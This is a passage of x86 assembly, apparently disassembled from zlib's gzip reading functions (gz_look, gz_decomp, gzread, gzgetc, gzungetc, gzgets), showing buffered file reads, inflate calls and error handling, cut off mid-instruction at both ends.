%ecx, %eax pushl %eax movl -20(%ebp), %edx leal (%ecx,%edx), %eax pushl %eax pushl 20(%esi) call read .L08049B81: addl $16, %esp testl %eax, %eax movl %eax, %edx jle .L08049B98 .L08049B8A: movl -16(%ebp), %eax addl %edx, %eax cmpl %ebx, %eax movl %eax, %ecx movl %eax, -16(%ebp) jb .L08049B6C .L08049B98: testl %edx, %edx jl .L08049D0C .L08049BA0: jne .L08049BA9 .L08049BA2: movl $1, 60(%esi) .L08049BA9: movl -16(%ebp), %ebx movl 36(%esi), %ecx addl %ebx, 4(%edi) movl %ecx, (%edi) .L08049BB4: movl 4(%edi), %edx xorl %eax, %eax testl %edx, %edx je .L08049B09 .L08049BC1: cmpl $1, %edx jbe .L08049AE8 .L08049BCA: jmp .L08049ADD .L08049BCF: .p2align 3 .L08049BD0: subl $12, %esp pushl 32(%esi) call malloc .L08049BDB: movl 32(%esi), %edx sall $1, %edx movl %eax, 36(%esi) movl %edx, (%esp) call malloc .L08049BEB: movl 36(%esi), %edx addl $16, %esp testl %edx, %edx movl %eax, 40(%esi) je .L08049C8D .L08049BFC: testl %eax, %eax je .L08049CA0 .L08049C04: movl 32(%esi), %ecx movl %ecx, 28(%esi) movl $0, 128(%esi) movl $0, 132(%esi) movl $0, 136(%esi) movl $0, 100(%esi) movl $0, 96(%esi) pushl $56 pushl $.LC0805482C pushl $31 pushl %edi call inflateInit2_ .L08049C45: addl $16, %esp testl %eax, %eax je .L08049AD5 .L08049C50: subl $12, %esp pushl 40(%esi) call free .L08049C5B: popl %eax pushl 36(%esi) call free .L08049C64: addl $12, %esp movl $0, 28(%esi) jmp .L08049CA5 .L08049C70: movl 40(%esi), %eax testl %edx, %edx movl %eax, 4(%esi) jne .L08049CBC .L08049C7A: movl $1, 48(%esi) movl $1, 44(%esi) jmp .L08049B07 .L08049C8D: testl %eax, %eax je .L08049CA0 .L08049C91: subl $12, %esp pushl %eax call free .L08049C9A: addl $16, %esp movl 36(%esi), %edx .L08049CA0: testl %edx, %edx jne .L08049CFE .L08049CA4: pushl %eax .L08049CA5: pushl $.LC080546E3 pushl $-4 pushl %esi call gz_error .L08049CB2: movl $-1, %eax jmp .L08049B25 .L08049CBC: pushl %ecx pushl %edx pushl (%edi) pushl %eax call memcpy .L08049CC6: movl 4(%edi), %edx addl $16, %esp movl %edx, (%esi) movl $0, 4(%edi) jmp .L08049C7A .L08049CD7: .p2align 3 .L08049CD8: cmpb $139, 1(%eax) jne .L08049AE8 .L08049CE2: subl $12, %esp pushl %edi call inflateReset .L08049CEB: movl $2, 48(%esi) movl $0, 44(%esi) jmp .L08049B07 .L08049CFE: subl $12, %esp pushl %edx call free .L08049D07: addl $16, %esp jmp .L08049CA4 .L08049D0C: subl $16, %esp call __errno_location .L08049D14: popl %edi pushl (%eax) call strerror .L08049D1C: addl $12, %esp pushl %eax pushl $-1 pushl %esi call gz_error .L08049D28: addl $16, %esp movl $-1, %eax jmp .L08049B25 .size gz_look, .-gz_look # ---------------------- .L08049D35: .p2align 3 # ---------------------- .local gz_decomp .type gz_decomp, @function gz_decomp: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp leal 96(%eax), %esi movl %eax, %edi movl 16(%esi), %eax movl $0, -20(%ebp) movl %eax, -24(%ebp) .p2align 2 .L08049D54: movl 4(%esi), %edx testl %edx, %edx jne .L08049DFB .L08049D5F: movl 88(%edi), %eax testl %eax, %eax je .L08049D6F .L08049D66: cmpl $-5, %eax jne .L08049E69 .L08049D6F: movl 60(%edi), %ecx testl %ecx, %ecx jne .L08049DF0 .L08049D76: movl 4(%esi), %eax testl %eax, %eax je .L08049D90 .L08049D7D: movl 36(%edi), %ebx movl (%esi), %ecx movl %eax, %edx .L08049D84: movb (%ecx), %al movb %al, (%ebx) incl %ecx incl %ebx decl %edx jne .L08049D84 .L08049D8D: movl 4(%esi), %eax .L08049D90: movl 36(%edi), %ebx addl %eax, %ebx movl %ebx, -28(%ebp) movl 28(%edi), %ebx subl %eax, %ebx movl $0, -16(%ebp) xorl %ecx, %ecx .p2align 3 .L08049DA8: pushl %eax movl %ebx, %eax subl %ecx, %eax pushl %eax movl -28(%ebp), %edx leal (%ecx,%edx), %eax pushl %eax pushl 20(%edi) call read .L08049DBD: addl $16, %esp testl %eax, %eax movl %eax, %edx jle .L08049DD4 .L08049DC6: movl -16(%ebp), %eax addl %edx, %eax cmpl %ebx, %eax movl %eax, %ecx movl %eax, -16(%ebp) jb .L08049DA8 .L08049DD4: testl %edx, %edx jl .L08049EA8 .L08049DDC: jne .L08049DE5 .L08049DDE: movl $1, 60(%edi) .L08049DE5: movl -16(%ebp), %ebx movl 36(%edi), %ecx addl %ebx, 4(%esi) movl %ecx, (%esi) .L08049DF0: movl 4(%esi), %edx testl %edx, %edx je .L08049E92 .L08049DFB: subl $8, %esp pushl $0 pushl %esi call inflate .L08049E06: addl $16, %esp cmpl $-2, %eax movl %eax, -20(%ebp) je .L08049E5B .L08049E11: cmpl $2, %eax je .L08049E5B .L08049E16: cmpl $-4, -20(%ebp) je .L08049E76 .L08049E1C: cmpl $-3, -20(%ebp) je .L08049E80 .L08049E22: movl 16(%esi), %eax testl %eax, %eax je .L08049E33 .L08049E29: cmpl $1, -20(%ebp) jne .L08049D54 .L08049E33: movl -24(%ebp), %ecx subl %eax, %ecx movl 12(%esi), %eax subl %ecx, %eax cmpl $1, -20(%ebp) movl %ecx, (%edi) movl %eax, 4(%edi) je .L08049E52 .L08049E48: leal -12(%ebp), %esp popl %ebx popl %esi xorl %eax, %eax popl %edi leave ret .L08049E52: movl $0, 48(%edi) jmp .L08049E48 .L08049E5B: pushl %ecx pushl $.LC08054860 pushl $-2 .L08049E63: pushl %edi call gz_error .L08049E69: movl $-1, %eax .L08049E6E: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L08049E76: pushl %edx pushl $.LC080546E3 pushl $-4 jmp .L08049E63 .L08049E80: pushl %eax movl 24(%esi), %eax testl %eax, %eax jne .L08049E8D .L08049E88: movl $.LC08054832, %eax .L08049E8D: pushl %eax pushl $-3 jmp .L08049E63 .L08049E92: pushl %ebx pushl $.LC08054848 pushl $-5 pushl %edi call gz_error .L08049EA0: addl $16, %esp movl 16(%esi), %eax jmp .L08049E33 .L08049EA8: subl $16, %esp call __errno_location .L08049EB0: popl %edx pushl (%eax) call strerror .L08049EB8: addl $12, %esp pushl %eax pushl $-1 pushl %edi call gz_error .L08049EC4: addl $16, %esp movl $-1, %eax jmp .L08049E6E .size gz_decomp, .-gz_decomp # ---------------------- .L08049ECE: .p2align 3 # ---------------------- .globl gzread .type gzread, @function gzread: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 8(%ebp), %ebx testl %ebx, %ebx movl $-1, %eax je .L08049F06 .L08049EE5: cmpl $7247, 16(%ebx) leal 96(%ebx), %esi jne .L08049F13 .L08049EF1: movl 88(%ebx), %eax testl %eax, %eax jne .L08049F0E .L08049EF8: cmpl $0, 16(%ebp) jl .L0804A279 .L08049F02: jne .L08049F20 .L08049F04: xorl %eax, %eax .L08049F06: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L08049F0E: cmpl $-5, %eax je .L08049EF8 .L08049F13: movl $-1, %eax .L08049F18: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L08049F20: movl 84(%ebx), %eax testl %eax, %eax jne .L0804A034 .L08049F2B: movl $0, -24(%ebp) jmp .L08049F76 .L08049F34: cmpl 16(%ebp), %eax jbe .L08049F3C .L08049F39: movl 16(%ebp), %eax .L08049F3C: movl %eax, -20(%ebp) pushl %edx pushl %eax pushl 4(%ebx) pushl 12(%ebp) call memcpy .L08049F4C: movl -20(%ebp), %eax addl %eax, 4(%ebx) subl %eax, (%ebx) addl $16, %esp .L08049F57: subl %eax, 16(%ebp) addl %eax, 12(%ebp) addl %eax, -24(%ebp) movl -20(%ebp), %eax xorl %edi, %edi addl %eax, 8(%ebx) adcl %edi, 12(%ebx) .L08049F6B: movl 16(%ebp), %ecx testl %ecx, %ecx je .L0804A029 .L08049F76: movl (%ebx), %eax testl %eax, %eax jne .L08049F34 .L08049F7C: movl 60(%ebx), %eax testl %eax, %eax je .L08049F8E .L08049F83: movl 4(%esi), %edi testl %edi, %edi je .L0804A26A .L08049F8E: movl 48(%ebx), %edx testl %edx, %edx je .L08049FA3 .L08049F95: movl 28(%ebx), %ecx sall $1, %ecx cmpl 16(%ebp), %ecx jbe .L0804A1C8 .L08049FA3: cmpl $1, %edx je .L08049FCD .L08049FA8: jle .L0804A090 .L08049FAE: cmpl $2, %edx je .L0804A0C0 .L08049FB7: movl 60(%ebx), %edi testl %edi, %edi je .L08049FC5 .L08049FBE: movl 4(%esi), %ecx testl %ecx, %ecx je .L08049F6B .L08049FC5: movl 48(%ebx), %edx cmpl $1, %edx jne .L08049FA8 .L08049FCD: movl 40(%ebx), %edi movl 28(%ebx), %eax movl %edi, -40(%ebp) movl $0, (%ebx) leal (%eax,%eax), %edi .p2align 3 .L08049FE0: pushl %eax movl (%ebx), %ecx movl %edi, %edx subl %ecx, %edx pushl %edx addl -40(%ebp), %ecx pushl %ecx pushl 20(%ebx) call read .L08049FF4: addl $16, %esp testl %eax, %eax movl %eax, %edx jle .L0804A007 .L08049FFD: movl (%ebx), %eax addl %edx, %eax cmpl %edi, %eax movl %eax, (%ebx) jb .L08049FE0 .L0804A007: testl %edx, %edx jl .L0804A241 .L0804A00F: jne .L0804A018 .L0804A011: movl $1, 60(%ebx) .L0804A018: movl 16(%ebp), %ecx movl 40(%ebx), %edi testl %ecx, %ecx movl %edi, 4(%ebx) jne .L08049F76 .L0804A029: movl -24(%ebp), %eax .L0804A02C: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804A034: movl 76(%ebx), %ecx movl 80(%ebx), %edx movl %edx, -28(%ebp) movl $0, 84(%ebx) movl %ecx, -32(%ebp) orl %ecx, %edx .L0804A049: je .L08049F2B .L0804A04F: movl (%ebx), %ecx testl %ecx, %ecx je .L0804A0E2 .L0804A059: xorl %edi, %edi cmpl -28(%ebp), %edi movl (%ebx), %eax jl .L0804A069 .L0804A062: jg .L0804A088 .L0804A064: cmpl -32(%ebp), %eax ja .L0804A088 .L0804A069: movl %ecx, %eax .L0804A06B: subl %eax, %ecx movl %ecx, (%ebx) addl %eax, 4(%ebx) xorl %ecx, %ecx addl %eax, 8(%ebx) adcl %ecx, 12(%ebx) subl %eax, -32(%ebp) sbbl %ecx, -28(%ebp) .L0804A080: movl -28(%ebp), %edx orl -32(%ebp), %edx jmp .L0804A049 .L0804A088: movl -32(%ebp), %eax jmp .L0804A06B .L0804A08D: .p2align 3 .L0804A090: testl %edx, %edx jne .L08049FB7 .L0804A098: movl %ebx, %eax call gz_look .L0804A09F: incl %eax je .L08049F13 .L0804A0A6: movl 48(%ebx), %edx testl %edx, %edx je .L08049F6B .L0804A0B1: movl (%ebx), %eax testl %eax, %eax je .L08049FB7 .L0804A0BB: jmp .L08049F6B .L0804A0C0: movl 28(%ebx), %edx sall $1, %edx movl 40(%ebx), %ecx movl %edx, 16(%esi) movl %ecx, 12(%esi) movl %ebx, %eax call gz_decomp .L0804A0D5: incl %eax jne .L0804A0B1 .L0804A0D8: movl $-1, %eax jmp .L08049F18 .L0804A0E2: movl 60(%ebx), %eax testl %eax, %eax je .L0804A0F4 .L0804A0E9: movl 100(%ebx), %edx testl %edx, %edx je .L08049F2B .L0804A0F4: movl 48(%ebx), %eax cmpl $1, %eax je .L0804A121 .L0804A0FC: jle .L0804A178 .L0804A0FE: cmpl $2, %eax je .L0804A1A4 .L0804A107: movl 60(%ebx), %edi testl %edi, %edi je .L0804A0F4 .L0804A10E: movl 4(%esi), %ecx testl %ecx, %ecx je .L0804A080 .L0804A119: movl 48(%ebx), %eax cmpl $1, %eax jne .L0804A0FC .L0804A121: movl 40(%ebx), %eax movl 28(%ebx), %ecx movl %eax, -36(%ebp) leal (%ecx,%ecx), %edi movl $0, (%ebx) .L0804A133: pushl %eax movl (%ebx), %ecx movl %edi, %edx subl %ecx, %edx pushl %edx addl -36(%ebp), %ecx pushl %ecx pushl 20(%ebx) call read .L0804A147: addl $16, %esp testl %eax, %eax movl %eax, %edx jle .L0804A15A .L0804A150: movl (%ebx), %eax addl %edx, %eax cmpl %edi, %eax movl %eax, (%ebx) jb .L0804A133 .L0804A15A: testl %edx, %edx jl .L0804A241 .L0804A162: jne .L0804A16B .L0804A164: movl $1, 60(%ebx) .L0804A16B: movl 40(%ebx), %edi movl %edi, 4(%ebx) jmp .L0804A080 .L0804A176: .p2align 3 .L0804A178: testl %eax, %eax jne .L0804A107 .L0804A17C: movl %ebx, %eax call gz_look .L0804A183: incl %eax je .L08049F13 .L0804A18A: movl 48(%ebx), %edi testl %edi, %edi je .L0804A080 .L0804A195: movl (%ebx), %eax testl %eax, %eax je .L0804A107 .L0804A19F: jmp .L0804A080 .L0804A1A4: movl 28(%ebx), %edx sall $1, %edx movl 40(%ebx), %ecx movl %edx, 16(%esi) movl %ecx, 12(%esi) movl %ebx, %eax call gz_decomp .L0804A1B9: incl %eax jne .L0804A195 .L0804A1BC: movl $-1, %eax jmp .L08049F18 .L0804A1C6: .p2align 3 .L0804A1C8: decl %edx jne .L0804A217 .L0804A1CB: movl $0, -20(%ebp) xorl %ecx, %ecx .L0804A1D4: pushl %edi movl 16(%ebp), %edi subl %ecx, %edi pushl %edi movl 12(%ebp), %edx leal (%ecx,%edx), %eax pushl %eax pushl 20(%ebx) call read .L0804A1EA: addl $16, %esp testl %eax, %eax movl %eax, %edx jle .L0804A202 .L0804A1F3: movl -20(%ebp), %eax addl %edx, %eax cmpl 16(%ebp), %eax movl %eax, %ecx movl %eax, -20(%ebp) jb .L0804A1D4 .L0804A202: testl %edx, %edx jl .L0804A241 .L0804A206: jne .L0804A20F .L0804A208: movl $1, 60(%ebx) .L0804A20F: movl -20(%ebp), %eax jmp .L08049F57 .L0804A217: movl 16(%ebp), %edx movl 12(%ebp), %ecx movl %edx, 16(%esi) movl %ecx, 12(%esi) movl %ebx, %eax call gz_decomp .L0804A22A: incl %eax je .L08049F13 .L0804A231: movl (%ebx), %eax movl %eax, -20(%ebp) movl $0, (%ebx) jmp .L08049F57 .L0804A241: subl $16, %esp call __errno_location .L0804A249: popl %edx pushl (%eax) call strerror .L0804A251: addl $12, %esp pushl %eax pushl $-1 pushl %ebx call gz_error .L0804A25D: addl $16, %esp movl $-1, %eax jmp .L08049F18 .L0804A26A: movl -24(%ebp), %eax movl $1, 64(%ebx) jmp .L0804A02C .L0804A279: pushl %eax pushl $.LC08054888 pushl $-3 pushl %ebx call gz_error .L0804A287: movl $-1, %eax jmp .L08049F18 .size gzread, .-gzread # ---------------------- .L0804A291: .p2align 2 # ---------------------- .globl gzgetc .type gzgetc, @function gzgetc: pushl %ebp movl %esp, %ebp subl $8, %esp movl 8(%ebp), %ecx testl %ecx, %ecx movl $-1, %eax je .L0804A2D3 .L0804A2A6: cmpl $7247, 16(%ecx) jne .L0804A2DD .L0804A2AF: movl 88(%ecx), %eax testl %eax, %eax jne .L0804A2D8 .L0804A2B6: movl (%ecx), %eax testl %eax, %eax je .L0804A2E4 .L0804A2BC: decl %eax addl $1, 8(%ecx) movl %eax, (%ecx) adcl $0, 12(%ecx) movl 4(%ecx), %eax movzbl (%eax), %edx incl %eax movl %eax, 4(%ecx) .L0804A2D1: movl %edx, %eax .L0804A2D3: leave ret .L0804A2D5: .p2align 3 .L0804A2D8: cmpl $-5, %eax je .L0804A2B6 .L0804A2DD: movl $-1, %eax leave ret .L0804A2E4: pushl %edx pushl $1 leal -1(%ebp), %edx pushl %edx pushl %ecx call gzread .L0804A2F1: addl $16, %esp testl %eax, %eax movl $-1, %edx jle .L0804A2D1 .L0804A2FD: movzbl -1(%ebp), %edx movl %edx, %eax jmp .L0804A2D3 .size gzgetc, .-gzgetc # ---------------------- .L0804A305: .p2align 3 # ---------------------- .globl gzgetc_ .type gzgetc_, @function gzgetc_: pushl %ebp movl %esp, %ebp subl $8, %esp movl 8(%ebp), %edx testl %edx, %edx movl $-1, %ecx je .L0804A328 .L0804A31A: cmpl $7247, 16(%edx) je .L0804A32C .L0804A323: movl $-1, %ecx .L0804A328: movl %ecx, %eax leave ret .L0804A32C: movl 88(%edx), %eax testl %eax, %eax jne .L0804A354 .L0804A333: movl (%edx), %eax testl %eax, %eax je .L0804A360 .L0804A339: decl %eax addl $1, 8(%edx) movl %eax, (%edx) adcl $0, 12(%edx) movl 4(%edx), %eax movzbl (%eax), %ecx incl %eax movl %eax, 4(%edx) leave movl %ecx, %eax ret .L0804A352: .p2align 2 .L0804A354: cmpl $-5, %eax je .L0804A333 .L0804A359: movl $-1, %ecx jmp .L0804A328 .L0804A360: pushl %ecx pushl $1 leal -1(%ebp), %ecx pushl %ecx pushl %edx call gzread .L0804A36D: addl $16, %esp testl %eax, %eax movl $-1, %ecx jle .L0804A328 .L0804A379: movzbl -1(%ebp), %ecx movl %ecx, %eax leave ret .size gzgetc_, .-gzgetc_ # ---------------------- .L0804A381: .p2align 2 # ---------------------- .globl gzungetc .type gzungetc, @function gzungetc: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 12(%ebp), %ebx testl %ebx, %ebx movl $-1, %eax je .L0804A465 .L0804A39D: cmpl $7247, 16(%ebx) jne .L0804A460 .L0804A3AA: movl 88(%ebx), %eax testl %eax, %eax jne .L0804A457 .L0804A3B5: movl 84(%ebx), %eax testl %eax, %eax je .L0804A410 .L0804A3BC: movl 80(%ebx), %edi movl 76(%ebx), %esi movl %edi, %edx orl %esi, %edx movl $0, 84(%ebx) je .L0804A410 .L0804A3CF: leal 96(%ebx), %ecx movl %ecx, -24(%ebp) .L0804A3D5: movl (%ebx), %ecx testl %ecx, %ecx je .L0804A4B7 .L0804A3DF: xorl %edx, %edx cmpl %edi, %edx movl (%ebx), %eax jl .L0804A3F5 .L0804A3E7: jg .L0804A4B0 .L0804A3ED: cmpl %esi, %eax ja .L0804A4B0 .L0804A3F5: movl %ecx, %eax .L0804A3F7: subl %eax, %ecx movl %ecx, (%ebx) addl %eax, 4(%ebx) xorl %ecx, %ecx addl %eax, 8(%ebx) adcl %ecx, 12(%ebx) subl %eax, %esi sbbl %ecx, %edi .L0804A40A: movl %edi, %eax orl %esi, %eax jne .L0804A3D5 .L0804A410: movl 8(%ebp), %edi testl %edi, %edi movl $-1, %eax js .L0804A465 .L0804A41C: movl (%ebx), %edi testl %edi, %edi jne .L0804A46D .L0804A422: movl 28(%ebx), %eax movl 40(%ebx), %edi leal (%edi,%eax,2), %esi leal -1(%esi), %ecx movb 8(%ebp), %dl movl $1, (%ebx) movl %ecx, 4(%ebx) movb %dl, -1(%esi) .L0804A43D: addl $-1, 8(%ebx) adcl $-1, 12(%ebx) movl $0, 64(%ebx) movl 8(%ebp), %eax leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804A457: cmpl $-5, %eax je .L0804A3B5 .L0804A460: movl $-1, %eax .L0804A465: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804A46D: movl 28(%ebx), %eax sall $1, %eax cmpl %eax, %edi je .L0804A5C4 .L0804A47A: movl 4(%ebx), %ecx cmpl 40(%ebx), %ecx je .L0804A495 .L0804A482: leal 1(%edi), %eax leal -1(%ecx), %esi movb 8(%ebp), %dl movl %eax, (%ebx) movl %esi, 4(%ebx) movb %dl, -1(%ecx) jmp .L0804A43D .L0804A495: leal (%ecx,%edi), %edx cmpl %edx, %ecx leal (%ecx,%eax), %esi jae .L0804A4AC .L0804A49F: decl %edx decl %esi movb (%edx), %cl movb %cl, (%esi) cmpl %edx, 40(%ebx) jb .L0804A49F .L0804A4AA: movl (%ebx), %edi .L0804A4AC: movl %esi, %ecx jmp .L0804A482 .L0804A4B0: movl %esi, %eax jmp .L0804A3F7 .L0804A4B7: movl 60(%ebx), %eax testl %eax, %eax je .L0804A4CC .L0804A4BE: movl 100(%ebx), %edx testl %edx, %edx je .L0804A410 .L0804A4C9: .p2align 2 .L0804A4CC: movl 48(%ebx), %eax cmpl $1, %eax je .L0804A4FC .L0804A4D4: jle .L0804A554 .L0804A4D6: cmpl $2, %eax je .L0804A580 .L0804A4DF: movl 60(%ebx), %eax testl %eax, %eax je .L0804A4CC .L0804A4E6: movl -24(%ebp), %ecx movl 4(%ecx), %edx testl %edx, %edx je .L0804A40A .L0804A4F4: movl 48(%ebx), %eax cmpl $1, %eax jne .L0804A4D4 .L0804A4FC: movl 28(%ebx), %eax movl 40(%ebx), %edx sall $1, %eax movl %edx, -16(%ebp) movl %eax, -20(%ebp) movl $0, (%ebx) .L0804A510: pushl %ecx movl (%ebx), %ecx movl -20(%ebp), %eax subl %ecx, %eax pushl %eax addl -16(%ebp), %ecx pushl %ecx pushl 20(%ebx) call read .L0804A525: addl $16, %esp testl %eax, %eax movl %eax, %edx jle .L0804A539 .L0804A52E: movl (%ebx), %ecx addl %eax, %ecx cmpl -20(%ebp), %ecx movl %ecx, (%ebx) jb .L0804A510 .L0804A539: testl %edx, %edx jl .L0804A5A0 .L0804A53D: jne .L0804A546 .L0804A53F: movl $1, 60(%ebx) .L0804A546: movl 40(%ebx), %edx movl %edx, 4(%ebx) jmp .L0804A40A .L0804A551: .p2align 2 .L0804A554: testl %eax, %eax jne .L0804A4DF .L0804A558: movl %ebx, %eax call gz_look .L0804A55F: incl %eax je .L0804A460 .L0804A566: movl 48(%ebx), %ecx testl %ecx, %ecx je .L0804A40A .L0804A571: movl (%ebx), %ecx testl %ecx, %ecx je .L0804A4DF .L0804A57B: jmp .L0804A40A .L0804A580: movl 28(%ebx), %edx sall $1, %edx movl -24(%ebp), %ecx movl 40(%ebx), %eax movl %eax, 12(%ecx) movl %edx, 16(%ecx) movl %ebx, %eax call gz_decomp .L0804A598: incl %eax jne .L0804A571 .L0804A59B: jmp .L0804A460 .L0804A5A0: subl $16, %esp call __errno_location .L0804A5A8: popl %edx pushl (%eax) call strerror .L0804A5B0: addl $12, %esp pushl %eax pushl $-1 pushl %ebx call gz_error .L0804A5BC: addl $16, %esp jmp .L0804A460 .L0804A5C4: pushl %esi pushl $.LC080548B0 pushl $-3 pushl %ebx call gz_error .L0804A5D2: jmp .L0804A460 .size gzungetc, .-gzungetc # ---------------------- .L0804A5D7: .p2align 3 # ---------------------- .globl gzgets .type gzgets, @function gzgets: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $28, %esp movl 8(%ebp), %ebx testl %ebx, %ebx je .L0804A60B .L0804A5E8: movl 12(%ebp), %eax testl %eax, %eax je .L0804A60B .L0804A5EF: movl 16(%ebp), %edi testl %edi, %edi jle .L0804A60B .L0804A5F6: cmpl $7247, 16(%ebx) jne .L0804A60B .L0804A5FF: movl 88(%ebx), %eax testl %eax, %eax je .L0804A615 .L0804A606: cmpl $-5, %eax je .L0804A615 .L0804A60B: xorl %eax, %eax .L0804A60D: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0804A615: movl 84(%ebx), %esi testl %esi, %esi jne .L0804A684 .L0804A61C: movl 16(%ebp), %edi movl 12(%ebp), %esi decl %edi movl %esi, -20(%ebp) movl %edi, -16(%ebp) je .L0804A826 .L0804A62F: leal 96(%ebx), %edx movl %edx, -32(%ebp) .L0804A635: movl (%ebx), %eax testl %eax, %eax jne .L0804A7D0 .L0804A63F: .p2align 3 .L0804A640: movl 48(%ebx), %eax cmpl $1, %eax je .L0804A89C .L0804A64C: jle .L0804A780 .L0804A652: cmpl $2, %eax je .L0804A7B0 .L0804A65B: movl 60(%ebx), %edi testl %edi, %edi je .L0804A640 .L0804A662: movl -32(%ebp), %ecx movl 4(%ecx), %esi testl %esi, %esi jne .L0804A640 .L0804A66C: movl (%ebx), %eax testl %eax, %eax jne .L0804A7D0 .L0804A676: movl $1, 64(%ebx) jmp .L0804A826 .L0804A682: .p2align 2 .L0804A684: movl 80(%ebx), %edi movl 76(%ebx), %esi movl %edi, %edx orl %esi, %edx movl $0, 84(%ebx) je .L0804A61C .L0804A697: leal 96(%ebx), %ecx movl %ecx, -36(%ebp) movl (%ebx), %ecx testl %ecx, %ecx je .L0804A6DE .L0804A6A3: xorl %edx, %edx cmpl %edi, %edx movl (%ebx), %eax jl .L0804A6B9 .L0804A6AB: jg .L0804A779 .L0804A6B1: cmpl %esi, %eax ja .L0804A779 .L0804A6B9: movl %ecx, %eax .L0804A6BB: subl %eax, %ecx movl %ecx, (%ebx) addl %eax, 4(%ebx) xorl %ecx, %ecx addl %eax, 8(%ebx) adcl %ecx, 12(%ebx) subl %eax, %esi sbbl %ecx, %edi .L0804A6CE: movl %edi, %eax orl %esi, %eax je .L0804A61C .L0804A6D8: movl (%ebx), %ecx testl %ecx, %ecx jne .L0804A6A3 .L0804A6DE: movl 60(%ebx), %eax testl %eax, %eax je .L0804A6F0 .L0804A6E5: movl 100(%ebx), %edx testl %edx, %edx je .L0804A61C .L0804A6F0: movl 48(%ebx), %eax cmpl $1, %eax je .L0804A720 .L0804A6F8: jle .L0804A844 .L0804A6FE: cmpl $2, %eax je .L0804A874 .L0804A707: movl 60(%ebx), %eax testl %eax, %eax je .L0804A6F0 .L0804A70E: movl -36(%ebp), %ecx movl 4(%ecx), %edx testl %edx, %edx je .L0804A6CE .L0804A718: movl 48(%ebx), %eax cmpl $1, %eax jne .L0804A6F8 .L0804A720: movl 28(%ebx), %eax movl 40(%ebx), %edx sall $1, %eax movl %edx, -24(%ebp) movl %eax, -28(%ebp) movl $0, (%ebx) .L0804A734: pushl %eax movl (%ebx), %ecx movl -28(%ebp), %eax subl %ecx, %eax pushl %eax addl -24(%ebp), %ecx pushl %ecx pushl 20(%ebx) call read .L0804A749: addl $16, %esp testl %eax, %eax movl %eax, %edx jle .L0804A75D .L0804A752: movl (%ebx), %ecx addl %eax, %ecx cmpl -28(%ebp), %ecx movl %ecx, (%ebx) jb .L0804A734 .L0804A75D: testl %edx, %edx jl .L0804A8EA .L0804A765: jne .L0804A76E .L0804A767: movl $1, 60(%ebx) .L0804A76E: movl 40(%ebx), %edx movl %edx, 4(%ebx) jmp .L0804A6CE .L0804A779: movl %esi, %eax jmp .L0804A6BB .L0804A780: testl %eax, %eax jne .L0804A65B .L0804A788: movl %ebx, %eax call gz_look .L0804A78F: incl %eax je .L0804A60B .L0804A796: movl 48(%ebx), %ecx testl %ecx, %ecx je .L0804A66C .L0804A7A1: movl (%ebx), %eax testl %eax, %eax je .L0804A65B .L0804A7AB: jmp .L0804A66C .L0804A7B0: movl 28(%ebx), %edx sall $1, %edx movl -32(%ebp), %esi movl 40(%ebx), %ecx movl %edx, 16(%esi) movl %ecx, 12(%esi) movl %ebx, %eax call gz_decomp .L0804A7C8: incl %eax jne .L0804A7A1 .L0804A7CB: jmp .L0804A60B .L0804A7D0: cmpl -16(%ebp), %eax movl %eax, %esi jbe .L0804A7DA .L0804A7D7: movl -16(%ebp), %esi .L0804A7DA: pushl %eax pushl %esi pushl $10 pushl 4(%ebx) call memchr .L0804A7E6: addl $16, %esp testl %eax, %eax movl %eax, %edi je .L0804A894 .L0804A7F3: movl 4(%ebx), %edx subl %edx, %eax leal 1(%eax), %esi .L0804A7FB: pushl %eax pushl %esi pushl %edx pushl 12(%ebp) call memcpy .L0804A806: xorl %edx, %edx subl %esi, (%ebx) addl %esi, 4(%ebx) addl %esi, 8(%ebx) adcl %edx, 12(%ebx) addl %esi, 12(%ebp) addl $16, %esp subl %esi, -16(%ebp) je .L0804A826 .L0804A81E: testl %edi, %edi je .L0804A635 .L0804A826: movl -20(%ebp), %edx xorl %eax, %eax cmpl %edx, 12(%ebp) je .L0804A60D .L0804A834: movl 12(%ebp), %ebx movb $0, (%ebx) leal -12(%ebp), %esp popl %ebx popl %esi movl %edx, %eax popl %edi leave ret .L0804A844: testl %eax, %eax jne .L0804A707 .L0804A84C: movl %ebx, %eax call gz_look .L0804A853: incl %eax je .L0804A60B .L0804A85A: movl 48(%ebx), %ecx testl %ecx, %ecx je .L0804A6CE .L0804A865: movl (%ebx), %ecx testl %ecx, %ecx je .L0804A707 .L0804A86F: jmp .L0804A6CE .L0804A874: movl 28(%ebx), %edx sall $1, %edx movl -36(%ebp), %ecx movl 40(%ebx), %eax movl %eax, 12(%ecx) movl %edx, 16(%ecx) movl %ebx, %eax call gz_decomp .L0804A88C: incl %eax jne .L0804A865 .L0804A88F: jmp .L0804A60B .L0804A894: movl 4(%ebx), %edx jmp .L0804A7FB .L0804A89C: movl 28(%ebx), %eax movl 40(%ebx), %edi leal (%eax,%eax), %esi movl $0, (%ebx) .p2align 2 .L0804A8AC: pushl %eax movl (%ebx), %ecx movl %esi, %edx subl %ecx, %edx pushl %edx addl %edi, %ecx pushl %ecx pushl 20(%ebx) call read .L0804A8BF: addl $16, %esp testl %eax, %eax movl %eax, %edx jle .L0804A8D2 .L0804A8C8: movl (%ebx), %eax addl %edx, %eax cmpl %esi, %eax movl %eax, (%ebx) jb .L0804A8AC .L0804A8D2: testl %edx, %edx jl .L0804A8EA .L0804A8D6: jne .L0804A8DF .L0804A8D8: movl $1, 60(%ebx) .L0804A8DF: movl 40(%ebx), %edi movl %edi, 4(%ebx) jmp .L0804A66C .L0804A8EA: subl $16, %esp call __errno_location .L0804A8F2: popl %esi pushl (%eax) call strerror .L0804A8FA: addl $12, %esp pushl %eax pushl $-1 pushl %ebx call gz_error .L0804A906: addl $16, %esp jmp .L0804A60B .size gzgets, .-gzgets # ---------------------- .L0804A90E: .p2align 3 # ---------------------- .globl gzdirect .type gzdirect, @function gzdirect: pushl 